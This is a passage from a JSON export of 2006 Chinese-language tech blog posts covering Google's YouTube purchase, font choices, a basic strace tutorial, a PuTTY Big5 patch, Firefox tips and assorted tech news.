    "body": "不斷有傳言說 <a href=\"http://www.google.com/\" rel=\"tag\">Google</a> 要買 <a href=\"http://www.youtube.com/\" rel=\"tag\">Youtube</a>，這個傳言現在確定是真的了。\r\n\r\n<a href=\"http://www.google.com/\" rel=\"tag\">Google</a> 以 <del>1.65</del> 16.5 億美金買下 <a href=\"http://www.youtube/\" rel=\"tag\">Youtube</a>，成為全球最大 (而且以現在的數字來看，可以稱做壟斷) 的網路影音平台：<a href=\"http://dealbook.blogs.nytimes.com/?p=8167\">Google to Buy YouTube for $1.65 Billion in Stock</a> (紐約時報 Blog)。\r\n\r\n接下來就是其他類似服務的大頭要頭痛了 :p\r\n\r\n<strong>Update</strong>：<a href=\"http://www.youtube.com/\" rel=\"tag\">Youtube</a> 的兩位創辦人利用 <a href=\"http://www.youtube.com/\" rel=\"tag\">Youtube</a> 平台講幾句話：<a href=\"http://www.youtube.com/watch?v=QCVxQ_3Ejkg\">A Message From Chad and Steve</a>。(看起來他們真的是爽翻了 XD)",
    "title": "Google 買下 Youtube"
  },
  {
    "id": "787",
    "body": "IRC 上剛好有人問我的 Blog 怎麼會用 Simsun，加上 <a href=\"http://blog.kej.tw/2006-09/17/remove-simsun-font-from-my-pc/\">從電腦裡移除 Simsun 字型</a> 這篇也被點名，所以就把 irc log 貼一下：\r\n<blockquote><small>09:35 &lt; y&gt; DK 神...\r\n09:35 &lt; y&gt; 你的 blog 中文字看起來怪怪的, 好像簡體字?\r\n09:36 &lt; y&gt; css 裡面這個 font: 85% Verdana, Arial, Simsun, Sans-Serif .... 嗯?\r\n09:36 &lt; y&gt; Simsun 是簡體字嗎?\r\n09:47 &lt;@gslin&gt; 對啊\r\n09:51 &lt;@y&gt; ..... 為什麼要用簡體字啊?\r\n09:53 &lt;@gslin&gt; 為什麼要用新細明體啊？Simsun\r\n09:53 &lt;@gslin&gt; 明明就比較美觀\r\n09:53 &lt; R&gt; 美觀++\r\n09:55 &lt;@i&gt; simsun ... 到底是什麼字型啊 ?_?\r\n09:56 &lt;@W&gt; <a href=\"http://netlab.cse.yzu.edu.tw/~statue/freebsd/zh-tut/simsun.html\">http://netlab.cse.yzu.edu.tw/~statue/freebsd/zh-tut/simsun.html</a>\r\n09:56 &lt;@W&gt; 檢體的\r\n09:58 &lt;@i&gt; 我的意思是, 到底是長什麼樣子 ?\r\n09:58 &lt;@y&gt; gslin: 呃... 嗯.... 我覺得中文字的話 Simsun 比較不好看, 英文字體的話, 新細明體比較不好看...\r\n09:58 &lt;@i&gt; 之前不是才很多人幹譙 google 用 simsun 很難看 ? o_O\r\n10:00 &lt;@gslin&gt; ylchang: sorry，我覺得比較好看\r\n10:00 &lt;@W&gt; xd\r\n10:02 &lt;@y&gt; XD</small></blockquote>\r\n換成 Simsun 的原因就只是這樣而已，我覺得他的字型比新細明體好看。",
    "title": "我的 Blog 用 Simsun 的情況"
  },
  {
    "id": "788",
    "body": "l5n 之前提到 RefControl 這個 Addons (在 <a href=\"http://blog.gslin.org/archives/2006/01/31/336/#comment-945\">無名小站的圖片 (外連、擋 Referer、…)</a> 這篇)，不過一直都沒有測試 (其實也沒什麼在訂無名的 Blog...)，剛剛突然想到，於是裝起來玩，然後就能在 <a href=\"http://www.bloglines.com/\" rel=\"tag\">Bloglines</a> 上看到無名的圖了。\r\n\r\n首先先到 <a href=\"https://addons.mozilla.org/firefox/953/\">RefControl :: Mozilla Add-ons :: Add Features to Mozilla Software</a> 這頁安裝 RefControl，裝完以後需要重開 <a href=\"http://www.mozilla.com/firefox/\" rel=\"tag\">Firefox</a>，重開後設定對 <code>pic.wretch.cc</code> 送出 <code>http://www.wretch.cc/</code> 即可：\r\n\r\n<a href=\"http://beta.zooomr.com/photos/20228@Z01/263852\"><img src=\"http://static.zooomr.com/images/263852_c8bf2ea2fa.jpg\" alt=\"\" /></a>\r\n\r\n接下來你可以到 <a href=\"http://www.bloglines.com/\" rel=\"tag\">Bloglines</a> 去看看是不是正常了 :p",
    "title": "在 Bloglines 上看無名的圖"
  },
  {
    "id": "789",
    "body": "很多字只要夠大都很好看，不論是新細明體，Simsun，或者是其他字形。\r\n\r\n<a href=\"http://wordpress.org/\" rel=\"tag\">WordPress</a> 內建的 Theme 以及其他人所寫的 Theme 是以英文字為主，由於英文字母本來就比較簡單，字小小的其實還蠻容易看清楚，但如果同樣的大小拿到中文字用，就會糊成一團，看起來就很吃力。\r\n\r\n舉個例子來說，<a href=\"http://www.alistapart.com/\" rel=\"tag\">A List Apart</a> 的 <a href=\"http://www.alistapart.com/articles/alaprimer2\">The ALA Primer Part Two: Resources For Beginners</a> (內文是 11.4667px) 與學弟的 <a href=\"http://chtsai.csie.net/?p=37\">XMLHttpRequest</a> (內文是 12.4667px) 這兩篇比起來，雖然學弟那篇字比較大，但還是不夠大，中文字看起來就不太舒服。\r\n\r\n再舉個例子，同樣是 K2 Theme，你可以看我的 Blog (16.2667px) 與 <a href=\"http://ericsk.csie.org/\" rel=\"tag\">ericsk</a> 的 (15.2667px，也是 Simsun) 與 <a href=\"http://pctao.org/\" rel=\"tag\">pctao</a> 的 (12px)。你可以感覺看看字體大小所產生的差別。\r\n\r\n<a href=\"http://hlb.yichi.org/blog/\" rel=\"tag\">布丁</a> 曾經在聊天的時候聊到，有次他問他未婚妻覺得網站 (<a href=\"http://hlb.yichi.org/blog/\" rel=\"tag\">http://hlb.yichi.org/blog/</a>，16px) 如何，他未婚妻只說「字很大，看起來很好」。\r\n\r\nPS：我看 ALA 與學弟的網站都會用 Ctrl-+ (in <a href=\"http://www.mozilla.com/firefox/\" rel=\"tag\">Firefox</a>) 加大一級看，因為還是覺得太小了...",
    "title": "字形的問題"
  },
  {
    "id": "790",
    "body": "中午在 <a href=\"http://blog.ijliao.info/\" rel=\"tag\">ijliao</a> 的 <a href=\"http://del.icio.us/\" rel=\"tag\">del.icio.us</a> 書籤上看到介紹 <a href=\"http://sourceforge.net/projects/strace/\" rel=\"tag\">strace</a> 的文章 (<a href=\"http://www-128.ibm.com/developerworks/aix/library/au-unix-strace.html\">Fun with strace and the GDB Debugger</a>)，就到 <a href=\"http://www.freebsd.org/ports/\" rel=\"tag\">ports</a> 裝起來 (在 <a href=\"http://www.freshports.org/devel/strace/\" rel=\"tag\">devel/strace</a>)，發現比起 <a href=\"http://www.freebsd.org/\" rel=\"tag\">FreeBSD</a> 的 ktrace &amp; dump 好用不少。\r\n\r\n裝好 <a href=\"http://sourceforge.net/projects/strace/\" rel=\"tag\">strace</a> 後可以簡單玩看看：\r\n<blockquote><pre><small>$ strace id</small></pre></blockquote>\r\n應該會出現像這樣開頭一長串的資訊：\r\n<blockquote><pre><small>execve(0xbfbfe240, [0xbfbfe710], [/* 0 vars */]) = 0\r\nmmap(0, 3616, PROT_READ|PROT_WRITE, MAP_ANON, -1, 0) = 0x28070000\r\nmunmap(0x28070000, 3616)                = 0\r\n__sysctl([...], 0x2806cb58, 0xbfbfe4c4, NULL, 0) = 0</small></pre></blockquote>\r\n有時候不會出現是因為 id 已經先結束了，<a href=\"http://sourceforge.net/projects/strace/\" rel=\"tag\">strace</a> 才去 trace，這時候就會出現錯誤訊息：\r\n<blockquote><pre><small>execve(0xbfbfe240, [0xbfbfe710], [/* 0 vars */]PIOCWSTOP: Input/output error</small></pre></blockquote>\r\n除了對於還沒執行的指令另外，你還可以追正在執行的 process，譬如拿我的 ssh-agent 來當白老鼠，他的 pid 是 1156：\r\n<blockquote><pre><small>$ strace -p 1156\r\nProcess 1156 attached - interrupt to quit\r\naccept(3, {...}, 0xbfbfe4dc)            = 4\r\ngetsockopt(4, IPPROTO_IP, IP_OPTIONS, 0xbfbfe3f0, 0xbfbfe3ec) = 0\r\ngetuid()                                = 1000 (euid 1000)\r\nfcntl(4, F_GETFL)                       = 0x6 (flags O_RDWR|O_NONBLOCK)\r\nselect(5, [3 4], [], NULL, NULL)        = 1 (in [4])</small></pre></blockquote>\r\n按 Ctrl-C 就可以跳出來停止追蹤。\r\n\r\n有時候你想要知道這些 syscall 花了多少時間：\r\n<blockquote><pre><small>$ strace -p 1156 -T\r\nProcess 1156 attached - interrupt to quit\r\naccept(3, {...}, 0xbfbfe4dc)            = 4 &lt;0.000123&gt;\r\ngetsockopt(4, IPPROTO_IP, IP_OPTIONS, 0xbfbfe3f0, 0xbfbfe3ec) = 0 &lt;0.000042&gt;\r\ngetuid()                                = 1000 (euid 1000) &lt;0.000036&gt;\r\nfcntl(4, F_GETFL)                       = 0x6 (flags O_RDWR|O_NONBLOCK) &lt;0.000049&gt;\r\nselect(5, [3 4], [], NULL, NULL)        = 1 (in [4]) &lt;0.000033&gt;</small></pre></blockquote>\r\n或者想要知道每個 syscall 是什麼時候被叫用的：\r\n<blockquote><pre><small>$ strace -p 1156 -tt\r\nProcess 1156 attached - interrupt to quit\r\n03:48:35.412544 accept(3, {...}, 0xbfbfe4dc) = 4\r\n03:48:35.413028 getsockopt(4, IPPROTO_IP, IP_OPTIONS, 0xbfbfe3f0, 0xbfbfe3ec) = 0\r\n03:48:35.413160 getuid()                = 1000 (euid 1000)\r\n03:48:35.413258 fcntl(4, F_GETFL)       = 0x6 (flags O_RDWR|O_NONBLOCK)\r\n03:48:35.413365 select(5, [3 4], [], NULL, NULL) = 1 (in [4])</small></pre></blockquote>\r\n這些都是蠻基本的功能，但對於 debug 或 benchmark 很有用，像是 <a href=\"http://www.lighttpd.net/\" rel=\"tag\">lighttpd</a> 就用 <a href=\"http://sourceforge.net/projects/strace/\" rel=\"tag\">strace</a> 找出是哪邊浪費掉了時間：<a href=\"http://blog.lighttpd.net/articles/2006/10/08/reducing-requests-setup-costs\">reducing Requests-Setup-Costs</a>。(當然，裡面也有一些 <a href=\"http://sourceforge.net/projects/strace/\" rel=\"tag\">strace</a> 的範例可以看)\r\n\r\n其他的功能可以直接打 strace 看到說明，或是直接看 manual (man strace)，裡面也寫的蠻詳細的。",
    "title": "strace"
  },
  {
    "id": "791",
    "body": "今天在系計中聽到的：\r\n<blockquote>A：有名大站這麼爛，還是有很多人支持啊。\r\nB：這就跟 5566 還是很多人支持是一樣的道理啊。</blockquote>",
    "title": "中肯無比"
  },
  {
    "id": "792",
    "body": "從 <a href=\"http://slashdot.org/\" rel=\"tag\">Slashdot</a> 看到的，印度政府將對 ISP 抽 12.5% 的稅，因為他們販賣「光能」(light energy) 給客戶，用以提供資料的傳輸 (這個厲害 XD)：<a href=\"http://slashdot.org/article.pl?sid=06/10/10/1732217\">Indian ISPs Taxed for Generating \"Light Energy\"</a>。\r\n\r\n聽起來就是政客之間互相鬥爭，某一方決定找出過時而不適當的法律條文出來婊人 :p",
    "title": "印度政府將對 ISP 抽 12.5% 的稅"
  },
  {
    "id": "793",
    "body": "<strong>Update</strong>：各大媒體 (以及 <a href=\"http://en.wikipedia.org/\" rel=\"tag\">Wikipedia</a>) 都更新資訊了，這架飛機是洋基隊投手 <a href=\"http://en.wikipedia.org/wiki/Cory_Lidle\" rel=\"tag\">Cory Lidle</a> 的飛機：<a href=\"http://www.cnn.com/2006/US/10/11/plane.crash/\">Yankees pitcher's plane crashes into Manhattan high-rise</a>。\r\n\r\n在 <a href=\"http://news.bbc.co.uk/chinese/trad/\" rel=\"tag\">BBC 中文網</a> 看到的：<a href=\"http://news.bbc.co.uk/chinese/trad/hi/newsid_6040000/newsid_6042300/6042334.stm\">紐約一架小型飛機撞入一座高層大樓</a>。\r\n\r\n本來打算到 <a href=\"http://news.google.com/news?ned=us\">Google News (U.S.)</a> 上面找，一連過去發現也不用找了，頭條... 其他的幾個新聞媒體在網站上也都以頭條報導：\r\n<ul>\r\n\t<li><a href=\"http://www.cnn.com/2006/US/10/11/plane.crash/\">Plane hits N.Y. high-rise, sparks death, fear, fire</a> (<a href=\"http://www.cnn.com/\" rel=\"tag\">CNN</a>)</li>\r\n\t<li><a href=\"http://www.msnbc.msn.com/id/15223650/\">Aircraft crashes into NYC building</a> (<a href=\"http://www.msnbc.com/\" rel=\"tag\">MSNBC</a>)</li>\r\n</ul>\r\n目前的報導都指出暫時沒有證據說明是恐怖攻擊，不過為了防止萬一，已經先派戰鬥機起飛在空中待命。",
    "title": "紐約：小型飛機撞入高層大樓"
  },
  {
    "id": "795",
    "body": "<a href=\"http://www.flickr.com/photos/octaviorojas/238466023/\"><img src=\"http://static.flickr.com/89/238466023_8b7043defc.jpg\" alt=\"\" style=\"float: left; margin-right: 1em; margin-bottom: 1em;\" /></a> 最近有不少人提到 <a href=\"http://www.wikipedia.org/\" rel=\"tag\">Wikipedia</a> 在對岸幾乎都解禁了，說「幾乎」是因為... 除了中文版以外的都解禁了 XD：<a href=\"http://www.searchenginejournal.com/?p=3894\">Wikipedia Unblocked in China for All Languages But Chinese</a> (<a href=\"http://www.searchenginejournal.com/\" rel=\"tag\">Search Engine Journal</a>)。\r\n\r\n一開始看到新聞的時候就在想「嗯？居然解禁了？」，剛剛看到更詳細的確認後，就換成「嗯，果然沒錯...」XD",
    "title": "Wikipedia 在中國解禁？"
  },
  {
    "id": "796",
    "body": "不知道發生什麼事情了，連 blog.gslin.org 超慢，看 traceroute 結果發現是出國的部分異常，只好暫時用 SSH Tunnel 的方式繞道走其他線路：\r\n\r\n<a href=\"http://beta.zooomr.com/photos/20228@Z01/267476\"><img src=\"http://static.zooomr.com/images/267476_891049b0ba.jpg\" alt=\"\" /></a>",
    "title": "SEEDNet (動態 IP) 出國線路"
  },
  {
    "id": "797",
    "body": "<a href=\"http://blog.ijliao.info/\" rel=\"tag\">廖長輩</a> 的 Blog 換名字了 (之前叫「<a href=\"http://blog.ijliao.info/\" rel=\"tag\">國生三年才開始</a>」)，現在叫「<a href=\"http://blog.ijliao.info/\" rel=\"tag\">苦牢之最後一年</a>」(屁，明明就爽到翻)，這就讓我想到之前有人在看過他的 Blog 後覺得「國中生就這麼強，台灣有救了」XD\r\n\r\n不過舊的關鍵字還是可以找到... XD\r\n\r\n「<a href=\"http://www.google.com/search?q=%E5%9C%8B%E4%BA%8C\">國二</a>」：\r\n\r\n<a href=\"http://beta.zooomr.com/photos/20228@Z01/267511\"><img src=\"http://static.zooomr.com/images/267511_08a34aebb8.jpg\" alt=\"\" /></a>\r\n\r\n「<a href=\"http://www.google.com/search?q=%E5%9C%8B%E4%B8%89\">國三</a>」：\r\n\r\n<a href=\"http://beta.zooomr.com/photos/20228@Z01/267512\"><img src=\"http://static.zooomr.com/images/267512_37164a6fe1.jpg\" alt=\"\" /></a>",
    "title": "廖長輩的 Blog 換名字了..."
  },
  {
    "id": "798",
    "body": "<a href=\"http://beta.zooomr.com/photos/20228@Z01/275967\"><img src=\"http://static.zooomr.com/images/275967_853ed81048.jpg\" alt=\"\" style=\"float: left; margin-bottom: 1em; margin-right: 1em;\" /></a> 一個禮拜前 <a href=\"http://folding.stanford.edu/\" rel=\"tag\">Folding@Home</a> 釋出使用 GPU 計算的 Client：<a href=\"http://blog.gslin.org/archives/2006/10/06/775/\">利用 GPU 跑 Folding@home</a>。\r\n\r\n一個禮拜後，在 <a href=\"http://slashdot.org/\" rel=\"tag\">Slashdot</a> 看到目前以 GPU 參與計算的速度已經超過使用 CPU 參與的 Linux 平台 + Mac OS X 平台了：<a href=\"http://hardware.slashdot.org/article.pl?sid=06/10/13/2030253\">Impressive GPU Numbers From Folding@Home</a>。\r\n\r\n(統計數字在這裡：<a href=\"http://fah-web.stanford.edu/cgi-bin/main.py?qtype=osstats\">Client statistics by OS</a>)\r\n\r\n報導上是寫 448 顆 GPU，我寫這篇的時候看到 441 顆，輕鬆殲滅 Linux (17238 顆 CPU) + Mac OS X (7835 顆 CPU) 的計算能力 XD",
    "title": "GPU 在 Folding@Home 的速度"
  },
  {
    "id": "799",
    "body": "Google Gdrive 內部 Client 流出，於是就有 Screenshot...：<a href=\"http://blog.outer-court.com/archive/2006-10-13-n53.html\">Google Gdrive Client Leaked</a>。\r\n\r\n<a href=\"http://flickr.com/photos/gslin/269181556/\"><img src=\"http://static.flickr.com/85/269181556_0b2f05c642.jpg\" alt=\"\" /></a>\r\n\r\n不過目前看起來只有內部能用 (應該是擋 IP address)，所以還不知道實際應用的情況？看起來有公開下載的功能，應該會讓搞 Hosting 賣頻寬的廠商大爆炸 :p",
    "title": "Google Gdrive"
  },
  {
    "id": "800",
    "body": "<a href=\"http://www.csie.ntu.edu.tw/~piaip/pietty/\" rel=\"tag\">PieTTY</a> 有個很重要的特色 (而且是其他改自 <a href=\"http://www.chiark.greenend.org.uk/~sgtatham/putty/\" rel=\"tag\">PuTTY</a> 的軟體沒有的)：\r\n<blockquote>可使用英文等其它字型，而且不用設定字元集(CHARSET) (傳統 PuTTY 則一定要設定正確才行)</blockquote>\r\n於是本來在 <a href=\"http://www.chiark.greenend.org.uk/~sgtatham/putty/\" rel=\"tag\">PuTTY</a> 裡無法選用 Courier New 字體並且正確打中文的情況，在 <a href=\"http://www.csie.ntu.edu.tw/~piaip/pietty/\" rel=\"tag\">PieTTY</a> 裡解決了。\r\n\r\n不過，<a href=\"http://www.csie.ntu.edu.tw/~piaip/pietty/\" rel=\"tag\">PieTTY</a> 的作者一直不願意放出 source code 或 patch file，對於要求高安全性的情況下，我仍然是使用 <a href=\"http://www.chiark.greenend.org.uk/~sgtatham/putty/\" rel=\"tag\">PuTTY</a> + 文鼎 PL 中楷。\r\n\r\n剛剛在系計中遇到 <a href=\"http://blog.hubert.tw/\" rel=\"tag\">Hubert</a>，跟他提到我在 trace <a href=\"http://www.chiark.greenend.org.uk/~sgtatham/putty/\" rel=\"tag\">PuTTY</a> source code 看這塊要怎麼改，他就跳下來幫忙看，過沒多久他就給出 patch：<a href=\"http://hubert.tw/~hubert/tmp/putty_big5.diff\">putty_big5.diff</a>，另外一個 patch 是等價的，只是改成 #if 0 比較容易維護：<a href=\"http://files.gslin.org/PuTTY/winucs.c.diff\">winucs.c.diff</a>，說穿了只是把 codepage 強制設為 950 (即 CP950)。\r\n\r\n用 Visual Studio 2005 .NET 編出來的執行檔有點肥 (488KB，原 <a href=\"http://www.chiark.greenend.org.uk/~sgtatham/putty/\" rel=\"tag\">PuTTY</a> 只要 412KB，應該是因為用 VC6 編的關係吧 +_+)，相信裡面沒有奇怪木馬，而且有需要用的人就自己抓吧：<a href=\"http://files.gslin.org/PuTTY/putty.exe\">putty.exe</a>。",
    "title": "PuTTY 中文修正"
  },
  {
    "id": "801",
    "body": "<a href=\"http://beta.zooomr.com/photos/20228@Z01/275981\"><img src=\"http://static.zooomr.com/images/275981_362affc22c_t.jpg\" alt=\"\" style=\"float: left; margin-bottom: 1em; margin-right: 1em;\" /></a> <a href=\"http://www.mozilla.com/firefox/\" rel=\"tag\">Firefox</a> 現在開始計畫 Firefox 3.0 要做什麼，所以開始開放聽眾 Call In 提出意見... XD：<a href=\"http://slashdot.org/article.pl?sid=06/10/14/0840236\">Firefox Accepting Feature Suggestions for Version 3</a>。\r\n\r\n(官方 Wiki 頁面在 <a href=\"http://wiki.mozilla.org./Firefox/Feature_Brainstorming\" rel=\"tag\">Firefox/Feature Brainstorming</a> 這裡)",
    "title": "Firefox 3.0"
  },
  {
    "id": "802",
    "body": "<a href=\"http://www.flickr.com/photos/hlb/258164273/\"><img src=\"http://static.flickr.com/92/258164273_cb9435faf4.jpg\" alt=\"\" /></a>",
    "title": "本幫大事"
  },
  {
    "id": "803",
    "body": "<a href=\"http://beta.zooomr.com/photos/20228@Z01/275941\"><img src=\"http://static.zooomr.com/images/275941_1e39b84546_m.jpg\" alt=\"\" style=\"float: left; margin-bottom: 1em; margin-right: 1em;\" /></a> 在 <a href=\"http://ericsk.csie.org/archives/357\">可以不要自動播放音樂嗎？</a> 與 <a href=\"http://blog.woixv.com/?p=405\">網路雜感 + 情緒文。</a> 這兩篇裡面抱怨的事情，<a href=\"http://hemiolasun.free.fr/\" rel=\"tag\">Hemiola</a> 寫的 <a href=\"https://addons.mozilla.org/firefox/1765/\" rel=\"tag\">Stop Autoplay</a> 提供了自力救濟的方法。\r\n\r\n中文的說明可以參考作者寫的 <a href=\"http://hemiolapei.free.fr/divers/sap/sap.html\">Firefox 擴充套件: Stop Autoplay</a> 這篇。",
    "title": "Stop Autoplay"
  },
  {
    "id": "804",
    "body": "今天晚餐的飲料訂的是這家：<a href=\"http://tw.lifestyle.yahoo.com/biz.html?bizid=3ce3a3e6fc2a4ccd\">發條桔子(新竹馬偕店)</a>。\r\n\r\n我只說我自己訂的烏龍茶：有橘子的味道，不確定是「特色」還是茶桶的問題，最後喝不到一半就決定倒掉...",
    "title": "發條桔子 (Spring Orange)"
  },
  {
    "id": "805",
    "body": "<a href=\"http://beta.zooomr.com/photos/20228@Z01/277624\"><img src=\"http://static.zooomr.com/images/277624_f2da678a88_m.jpg\" alt=\"\" style=\"float: left; margin-bottom: 1em; margin-right: 1em;\" /></a> 這幾天看到好幾個人在 BBS 以及 Blog 上問這個問題，就順手寫下來好了。左邊這張圖是 <a href=\"http://www.mozilla.com/firefox/\" rel=\"tag\">Firefox</a> 2.0 某個測試版的圖，最下面那個選項叫做 \"When I open a link in a new tab, switch it immediatly\"，就是開啟新分頁時不要跳過去的選項。\r\n\r\n<a href=\"http://beta.zooomr.com/photos/20228@Z01/277633\"><img src=\"http://static.zooomr.com/images/277633_76a3b66a55_m.jpg\" alt=\"\" style=\"float: right; margin-bottom: 1em; margin-left: 1em;\" /></a> 這個功能在 <a href=\"http://www.mozilla.com/firefox/\" rel=\"tag\">Firefox</a> 1.5 也是存在的，只是使用者介面沒做出來，你必須直接修改 about:config 裡面的值而已。方法就如同左邊的圖 (我知道圖不怎麼大，如果想看的話就點進去看吧 @_@)，把 browser.tabs.loadDivertedInBackground 改成 true 就可以了。\r\n\r\n就是這樣啦 :p",
    "title": "「開啟新分頁」但是不要跳到新分頁"
  },
  {
    "id": "806",
    "body": "前幾天學弟提到他想要搜尋「四海遊龍」的資訊，因為 <a href=\"http://www.mozilla.com/firefox/\" rel=\"tag\">Firefox</a> 的 Search Box 預設的是 <a href=\"http://search.yahoo.com/\" rel=\"tag\">Yahoo! Search</a>，所以就懶得選成 <a href=\"http://www.google.com/\" rel=\"tag\">Google</a> 了，丟進去查發現第一筆：\r\n\r\n<a href=\"http://beta.zooomr.com/photos/20228@Z01/279173\"><img src=\"http://static.zooomr.com/images/279173_f8f5913bc3.jpg\" alt=\"\" /></a>\r\n\r\n而 <a href=\"http://search.msn.com/\" rel=\"tag\">MSN Search</a> 也找到同一個站台：\r\n\r\n<a href=\"http://beta.zooomr.com/photos/20228@Z01/279172\"><img src=\"http://static.zooomr.com/images/279172_ac90924a66.jpg\" alt=\"\" /></a>\r\n\r\n只有 <a href=\"http://www.google.com/\" rel=\"tag\">Google</a> 給出是正確的 (想要找的) 網站：\r\n\r\n<a href=\"http://beta.zooomr.com/photos/20228@Z01/279170\"><img src=\"http://static.zooomr.com/images/279170_a7dda58c79.jpg\" alt=\"\" /></a>",
    "title": "四海遊龍"
  },
  {
    "id": "807",
    "body": "居然在 <a href=\"http://www.gizmodo.com/\" rel=\"tag\">Gizmodo</a> 上看到紅色長角的 <a href=\"http://www.apple.com/ipodnano/\" rel=\"tag\">iPod nano</a>：<a href=\"http://www.gizmodo.com/gadgets/gadgets/ipod-nano-from-hell-207704.php\">iPod Nano From Hell?</a>。\r\n\r\n<a href=\"http://beta.zooomr.com/photos/20228@Z01/279195\"><img src=\"http://static.zooomr.com/images/279195_3f3ef38e87_m.jpg\" alt=\"\" /></a>",
    "title": "紅色長角"
  },
  {
    "id": "808",
    "body": "在 <a href=\"http://www.wikipedia.org/\" rel=\"tag\">Wikipedia</a> 新增的帳戶將不能有 @ 這個字元在使用者名稱內，而已經存在的使用者如果有 @ 的用戶要記得去改名。\r\n\r\n相關的資料可以在 <a href=\"http://mail.wikipedia.org/pipermail/announce-l/2006-October/000065.html\">[Announce-l] Wikizine - number: 45</a> 看到：\r\n<blockquote>New accounts on the WMF-wikis can not longer be created if the username contains the @-symbol. Existing users who have that symbol in there username can still login but only temporary. All these users need to request for a username change. Contact a local bureaucrat to do that or ask a steward if your wiki does not have a bureaucrat.</blockquote>\r\n相關的 bug report 在 <a href=\"http://bugzilla.wikimedia.org/show_bug.cgi?id=6849\">Bug 6849: Prevent usernames from using \"@\", which will stop people from using email addresses for usernames, a very common reason for blocking</a> 這裡也可以看到。",
    "title": "Wikipedia 使用者名稱有 @ 的用戶..."
  },
  {
    "id": "809",
    "body": "有人幫 <a href=\"http://www.bloglines.com/\" rel=\"tag\">Bloglines</a> 做了一個 OS X 的 Skin，純用 CSS 打造出來的：<a href=\"http://www.hicksdesign.co.uk/journal/os-x-skin-for-bloglines\">OS X skin for Bloglines</a>。\r\n\r\n安裝的方法其實很簡單，先把 Bloglines skin for Camino or Firefox 的檔案抓下來 (我就不連結到原檔案了，請自己到原始網站抓)，放到 C:\\Documents and Settings\\gslin\\Application Data\\Mozilla\\Firefox\\Profiles\\[亂數].default\\chrome\\ 下 (那個 gslin 記得換成自己的 Windows 帳號名稱...)，再到同一個目錄下開一個新檔案叫做 userContent.css，裡面只有一行：\r\n<blockquote><code>@import url(bloglines-moz.css);</code></blockquote>\r\n重開後再連到 <a href=\"http://www.bloglines.com/\" rel=\"tag\">Bloglines</a> 應該就有畫面了：\r\n\r\n<a href=\"http://beta.zooomr.com/photos/20228@Z01/280746\"><img src=\"http://static.zooomr.com/images/280746_2f5ba08fcc.jpg\" alt=\"\" /></a>\r\n\r\n<a href=\"http://beta.zooomr.com/photos/20228@Z01/280747\"><img src=\"http://static.zooomr.com/images/280747_21d5dbdcf8.jpg\" alt=\"\" /></a>\r\n\r\n<a href=\"http://beta.zooomr.com/photos/20228@Z01/280749\"><img src=\"http://static.zooomr.com/images/280749_26254e17c6.jpg\" alt=\"\" /></a>",
    "title": "幫 Bloglines 換裝"
  },
  {
    "id": "810",
    "body": "在 <a href=\"http://www.boingboing.net/\" rel=\"tag\">Boing Boing</a> 上看到 <a href=\"http://www.google.com/\" rel=\"tag\">Google</a> 與 <a href=\"http://www.eispv.com/\" rel=\"tag\">EI Solutions</a> 合作，將在 <a href=\"http://www.google.com/\" rel=\"tag\">Google</a> 加州總部放置大量的太陽能板，這將是美國單一企業最大的太陽能板佈置計畫，足以產生一百六十萬瓦的電力輸出，換算成電腦主機的數量大約是五千台主機的消耗量：<a href=\"http://www.boingboing.net/2006/10/16/googleplex_goes_sola.html\">Googleplex goes solar</a>。\r\n\r\n<a href=\"http://beta.zooomr.com/photos/20228@Z01/280763\"><img src=\"http://static.zooomr.com/images/280763_d664aac59e.jpg\" alt=\"\" /></a>",
    "title": "Google 總部的太陽能計畫"
  },
  {
    "id": "811",
    "body": "如同電影般的情節：<a href=\"http://www.boingboing.net/2006/10/16/wired_news_editor_ca.html\">Wired News editor catches MySpace pedophile</a> (<a href=\"http://www.boingboing.net/\" rel=\"tag\">Boing Boing</a>)、<a href=\"http://it.slashdot.org/article.pl?sid=06/10/16/2131241\">MySpace Predator Caught By Code</a> (<a href=\"http://slashdot.org/\" rel=\"tag\">Slashdot</a>)。\r\n\r\n當政府要求 <a href=\"http://www.myspace.com/\" rel=\"tag\">MySpace</a> 在資料庫裡搜尋性侵害前科 (尤其是戀童癖) 的名單時，<a href=\"http://www.myspace.com/\" rel=\"tag\">MySpace</a> 拒絕了這個請求。之後，<a href=\"http://www.wired.com/\" rel=\"tag\">Wired News</a> 的編輯 <a href=\"http://en.wikipedia.org/wiki/Kevin_Poulsen\" rel=\"tag\">Kevin Poulsen</a> 用 <a href=\"http://www.perl.org/\" rel=\"tag\">Perl</a> 寫了大約一千行的程式，將這些前科犯的名字 (在 <a href=\"http://www.nsopr.gov/\" rel=\"tag\">NSOPR</a> 有提供) 丟進 <a href=\"http://www.myspace.com/\" rel=\"tag\">Myspace</a> 網站搜尋，再用人工去檢查是不是同一個人，如果是的話，觀察這些人的交友情況，進而抓到 <a href=\"http://www.newsday.com/news/local/longisland/ny-lisex1003-pic,0,2167528.photo\" rel=\"tag\">Andrew Lubrano</a>，自 1987 年因性侵害案件而入獄三次。\r\n\r\n<a href=\"http://en.wikipedia.org/wiki/Kevin_Poulsen\" rel=\"tag\">Kevin Poulsen</a> 在警方抓到 Andrew Lubrano 後在 <a href=\"http://www.wired.com/\" rel=\"tag\">Wired News</a> 上刊出這些過程：<a href=\"http://www.wired.com/news/technology/0,71948-0.html\" rel=\"tag\">MySpace Predator Caught by Code</a>。",
    "title": "在電腦前抓犯人"
  },
  {
    "id": "812",
    "body": "(註：這篇文章的確是點很多名，但請不要隨便對號入座...)\r\n\r\n這裡不是教室，上面老師講課，下面學生學習，知識從天而降的環境。這裡只是提供一個環境讓大家交流，至於能透過這個環境學到多少東西，沒有人知道。\r\n\r\n有些人擺明就是來當工人：填完班後來值班，上面交代事情後做一做，如果遇到沒遇過的再反過來問要怎麼做。這些人，最後會抱怨他在這裡學不到東西。\r\n\r\n另外有些人是屬於當你只是在聊天的過程講「<a href=\"http://hlb.yichi.org/blog/2005/08/27/9\">學HTML哪有不看原文的</a>」後，就跑去印整套 <a href=\"http://www.w3.org/\" rel=\"tag\">W3C</a> 而且把他仔細看完，最後在 Web Standard 領域立足。\r\n\r\n態度決定一切。",
    "title": "態度問題"
  },
  {
    "id": "813",
    "body": "這幾天 <a href=\"http://www.bloglines.com/\" rel=\"tag\">Bloglines</a> 好像常噴 500... 剛剛發現是 <a href=\"http://httpd.apache.org/\" rel=\"tag\">Apache</a> 2.2.2，跟這個有關係嗎？@_@\r\n\r\n<a href=\"http://beta.zooomr.com/photos/20228@Z01/281595\"><img src=\"http://static.zooomr.com/images/281595_1aaddd26d7.jpg\" alt=\"\" /></a>",
    "title": "Bloglines..."
  },
  {
    "id": "814",
